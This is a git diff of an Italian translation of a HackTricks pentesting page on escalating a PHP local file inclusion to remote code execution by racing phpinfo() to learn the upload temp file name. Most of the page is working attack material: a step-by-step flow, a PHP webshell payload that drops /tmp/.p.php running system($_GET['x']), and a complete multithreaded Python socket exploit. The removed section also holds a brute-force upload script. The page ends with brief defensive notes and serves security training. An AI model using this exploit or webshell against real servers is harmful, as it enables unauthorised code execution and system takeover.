Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md']

This commit is contained in:
Translator 2025-09-30 00:50:55 +00:00
parent 40d8d3a864
commit c41160ecdd

View File

@ -1,55 +1,160 @@
# LFI to RCE via PHPInfo
{{#include ../../banners/hacktricks-training.md}}
Per sfruttare questa vulnerabilità hai bisogno di: **Una vulnerabilità LFI, una pagina dove viene visualizzato phpinfo(), "file_uploads = on" e il server deve essere in grado di scrivere nella directory "/tmp".**
Per sfruttare questa tecnica hai bisogno di tutto quanto segue:
- Una pagina raggiungibile che stampa l'output di phpinfo().
- Una Local File Inclusion (LFI) primitive che controlli (es. include/require basati su input utente).
- Gli upload di file in PHP abilitati (file_uploads = On). Qualsiasi script PHP accetta multipart uploads RFC1867 e crea un file temporaneo per ogni parte caricata.
- Il worker PHP deve poter scrivere nella upload_tmp_dir configurata (o nella directory temporanea di sistema di default) e la tua LFI deve poter includere quel percorso.
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
Write-up classico e PoC originale:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Nome script PoC originale: phpinfolfi.py (vedi whitepaper e mirrors)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Devi correggere lo sfruttamento (cambiare **=>** in **=>**). Per farlo puoi fare:
Note sul PoC originale
- L'output di phpinfo() è codificato in HTML, quindi la freccia "=>" spesso appare come "=>". Se riutilizzi script legacy, assicurati che cerchino entrambe le codifiche quando analizzano il valore _FILES[tmp_name].
- Devi adattare il payload (il tuo codice PHP), REQ1 (la request verso l'endpoint phpinfo() compreso il padding) e LFIREQ (la request verso il tuo sink LFI). Alcuni target non richiedono un terminatore null-byte (%00) e le versioni moderne di PHP non lo rispetteranno. Adatta di conseguenza LFIREQ allo sink vulnerabile.
Esempio sed (solo se usi davvero il vecchio PoC in Python2) per corrispondere alla freccia codificata in HTML:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
```
Devi anche cambiare il **payload** all'inizio dell'exploit (per un php-rev-shell ad esempio), il **REQ1** (questo dovrebbe puntare alla pagina phpinfo e dovrebbe avere il padding incluso, cioè: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), e **LFIREQ** (questo dovrebbe puntare alla vulnerabilità LFI, cioè: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Controlla il doppio "%" quando sfrutti il carattere nullo)
{{#file}}
LFI-With-PHPInfo-Assistance.pdf
{{#endfile}}
### Teoria
## Teoria
Se gli upload sono consentiti in PHP e provi a caricare un file, questo file viene memorizzato in una directory temporanea fino a quando il server ha finito di elaborare la richiesta, poi questo file temporaneo viene eliminato.
- Quando PHP riceve un POST multipart/form-data con un campo file, scrive il contenuto in un file temporaneo (upload_tmp_dir o il default del sistema operativo) ed espone il percorso in $_FILES['<field>']['tmp_name']. Il file viene rimosso automaticamente alla fine della richiesta a meno che non venga spostato/rinominato.
- Il trucco è scoprire il nome temporaneo e includerlo tramite il tuo LFI prima che PHP lo elimini. phpinfo() stampa $_FILES, incluso tmp_name.
- Gonfiando gli header/parametri della richiesta (padding) puoi far sì che blocchi iniziali dell'output di phpinfo() vengano inviati al client prima che la richiesta finisca, così puoi leggere tmp_name mentre il file temporaneo esiste ancora e poi immediatamente richiamare l'LFI con quel percorso.
Quindi, se hai trovato una vulnerabilità LFI nel server web, puoi provare a indovinare il nome del file temporaneo creato e sfruttare un RCE accedendo al file temporaneo prima che venga eliminato.
Su Windows i file temporanei si trovano comunemente in qualcosa come C:\\Windows\\Temp\\php*.tmp. Su Linux/Unix di solito sono in /tmp o nella directory configurata in upload_tmp_dir.
In **Windows** i file sono solitamente memorizzati in **C:\Windows\temp\php**
## Flusso d'attacco (passo dopo passo)
In **linux** il nome del file di solito è **random** e si trova in **/tmp**. Poiché il nome è casuale, è necessario **estrarre da qualche parte il nome del file temporaneo** e accedervi prima che venga eliminato. Questo può essere fatto leggendo il valore della **variabile $\_FILES** all'interno del contenuto della funzione "**phpconfig()**".
**phpinfo()**
**PHP** utilizza un buffer di **4096B** e quando è **pieno**, viene **inviato al client**. Quindi il client può **inviare** **molte richieste grandi** (utilizzando intestazioni grandi) **caricando un php** reverse **shell**, aspettare che **la prima parte di phpinfo() venga restituita** (dove si trova il nome del file temporaneo) e provare ad **accedere al file temporaneo** prima che il server php elimini il file sfruttando una vulnerabilità LFI.
**Script Python per provare a forzare il nome (se la lunghezza = 6)**
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
1) Prepara un piccolo payload PHP che persista una shell rapidamente per evitare di perdere la race (scrivere un file è generalmente più veloce che aspettare una reverse shell):
```
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
```
2) Invia una grande POST multipart direttamente alla pagina phpinfo() in modo che venga creato un file temporaneo che contiene il tuo payload. Gonfia vari header/cookie/param con ~510KB di padding per favorire l'output anticipato. Assicurati che il nome del campo del form corrisponda a quello che parserai in $_FILES.
3) Mentre la risposta di phpinfo() è ancora in streaming, analizza il corpo parziale per estrarre $_FILES['<field>']['tmp_name'] (HTML-encoded). Non appena hai il percorso assoluto completo (es., /tmp/php3Fz9aB), esegui il tuo LFI per includere quel percorso. Se include() esegue il file temporaneo prima che venga cancellato, il tuo payload viene eseguito e deposita /tmp/.p.php.
4) Usa il file creato: GET /vuln.php?include=/tmp/.p.php&x=id (o dove il tuo LFI ti permette di includerlo) per eseguire comandi in modo affidabile.
> Suggerimenti
> - Usa più worker concorrenti per aumentare le probabilità di vincere la race.
> - Posizionamenti del padding che comunemente aiutano: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Adatta per il target.
> - Se il sink vulnerabile appende un'estensione (es., .php), non hai bisogno di un null byte; include() eseguirà PHP indipendentemente dall'estensione del file temporaneo.
## PoC Python 3 minimale (basato su socket)
Lo snippet qui sotto si concentra sulle parti critiche ed è più facile da adattare rispetto allo script legacy Python2. Personalizza HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.
```python
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
```
## Risoluzione dei problemi
- Non vedi mai tmp_name: assicurati di inviare effettivamente una POST multipart/form-data a phpinfo(). phpinfo() stampa $_FILES solo quando è presente un campo di upload.
- L'output non viene inviato (flush) precocemente: aumenta il padding, aggiungi header più grandi o invia più richieste concorrenti. Alcuni SAPIs/buffer non svuotano l'output fino a soglie maggiori; regolati di conseguenza.
- Percorso LFI bloccato da open_basedir o chroot: devi puntare l'LFI a un percorso consentito o passare a un diverso vettore LFI2RCE.
- Directory temporanea non /tmp: phpinfo() stampa il percorso tmp_name assoluto completo; usa esattamente quel percorso nell'LFI.
## Note difensive
- Non esporre mai phpinfo() in produzione. Se necessario, limitarne l'accesso per IP/autenticazione e rimuoverlo dopo l'uso.
- Mantieni file_uploads disabilitato se non necessario. Altrimenti, limita upload_tmp_dir a un percorso non raggiungibile tramite include() nell'applicazione e applica una validazione rigorosa su qualsiasi percorso include/require.
- Considera qualsiasi LFI critico; anche senza phpinfo(), esistono altri percorsi LFI→RCE.
## Tecniche HackTricks correlate
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
## Riferimenti
- LFI With PHPInfo() Assistance whitepaper (2011) mirror di Packet Storm: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- Manuale PHP caricamenti con metodo POST: https://www.php.net/manual/en/features.file-upload.post-method.php
{{#include ../../banners/hacktricks-training.md}}